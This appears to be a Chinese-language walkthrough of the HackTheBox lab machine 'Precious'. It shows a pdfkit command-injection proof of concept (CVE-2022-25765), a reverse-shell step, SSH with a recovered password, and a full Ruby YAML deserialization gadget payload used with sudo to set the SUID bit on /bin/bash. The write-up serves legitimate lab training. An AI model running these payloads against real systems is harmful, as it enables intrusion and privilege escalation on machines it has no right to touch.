
靶机网址:
https://app.hackthebox.com/machines/Precious
 
枚举
使用nmap枚举靶机
nmap -sC -sV 10.10.11.189
 

发现域名,我们本地DNS解析一下
echo "10.10.11.189 precious.htb" >> /etc/hosts
 
然后访问网站
CVE-2022-25765利用

他的功能是将网站页面转换成PDF文件,我们本地用python开启一个http服务
python3 -m http.server 80
 
返回网站,然后输入


他将我目录下的文件转换为PDF了,我们保存一下这个pdf文件
 

exiftool 4pukysg1oivmrhiow532m9v4olsfv3p2.pdf
 
通过分析这个PDF文件,发现他使用的是pdfkit v0.8.6

通过google搜索,发现这个版本存在CVE-2022-25765漏洞
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
 


我们可以远程执行代码,poc为
http//ip?name=%20`command`
 
我们返回网站执行试试

 
成功执行了我们的命令,现在我们直接反弹shell即可
首先先用nc监听一个端口

https://www.revshells.com/
 

选择python3,修改ip和端口,回到靶机网页,然后粘贴这个命令即可


在home目录里找了一下,发现ruby用户目录下有一个奇怪的文件夹


config文件里存放着henry用户的密码,我们ssh登录即可
ssh henry@10.10.11.189
 

YAML反序列化攻击提权
在输入sudo -l时,发现有一个文件可以以sudo命令执行


# Compare installed dependencies with those specified in "dependencies.yml"                                                                                                                                                                                                                                                
require "yaml"                                                                                                                                                                                                                                                                                                             
require 'rubygems'                                                                                                                                                                                                                                                                                                         
                                                                                                                                                                                                                                                                                                                           
# TODO: update versions automatically                                                                                                                                                                                                                                                                                      
def update_gems()                                                                                                                                                                                                                                                                                                          
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
def list_from_file                                                                                                                                                                                                                                                                                                         
    YAML.load(File.read("dependencies.yml"))                                                                                                                                                                                                                                                                               
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
def list_local_gems                                                                                                                                                                                                                                                                                                        
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}                                                                                                                                                                                                                       
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
gems_file = list_from_file                                                                                                                                                                                                                                                                                                 
gems_local = list_local_gems                                                                                                                                                                                                                                                                                               
                                                                                                                                                                                                                                                                                                                           
gems_file.each do |file_name, file_version|                                                                                                                                                                                                                                                                                
    gems_local.each do |local_name, local_version|                                                                                                                                                                                                                                                                         
        if(file_name == local_name)                                                                                                                                                                                                                                                                                        
            if(file_version != local_version)                                                                                                                                                                                                                                                                              
                puts "Installed version differs from the one specified in file: " + local_name                                                                                                                                                                                                                             
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
 
通过google发现,yaml有一个反序列化的漏洞

payload为
https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml
 

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve
 

这里读取的是一个名叫dependencies.yml的文件,所以我们要把payload的文件名改成这个

执行
sudo /usr/bin/ruby /opt/update_dependencies.rb
 

成功执行了id命令,接下来赋予/bin/bash suid权限即可提权

执行
sudo /usr/bin/ruby /opt/update_dependencies.rb
 

成功赋予suid权限
/bin/bash -p
 

成功获得root权限








![[附源码]计算机毕业设计个人博客系统Springboot程序](https://img-blog.csdnimg.cn/aff2a18045b04eecbade889e6ad99f56.png)











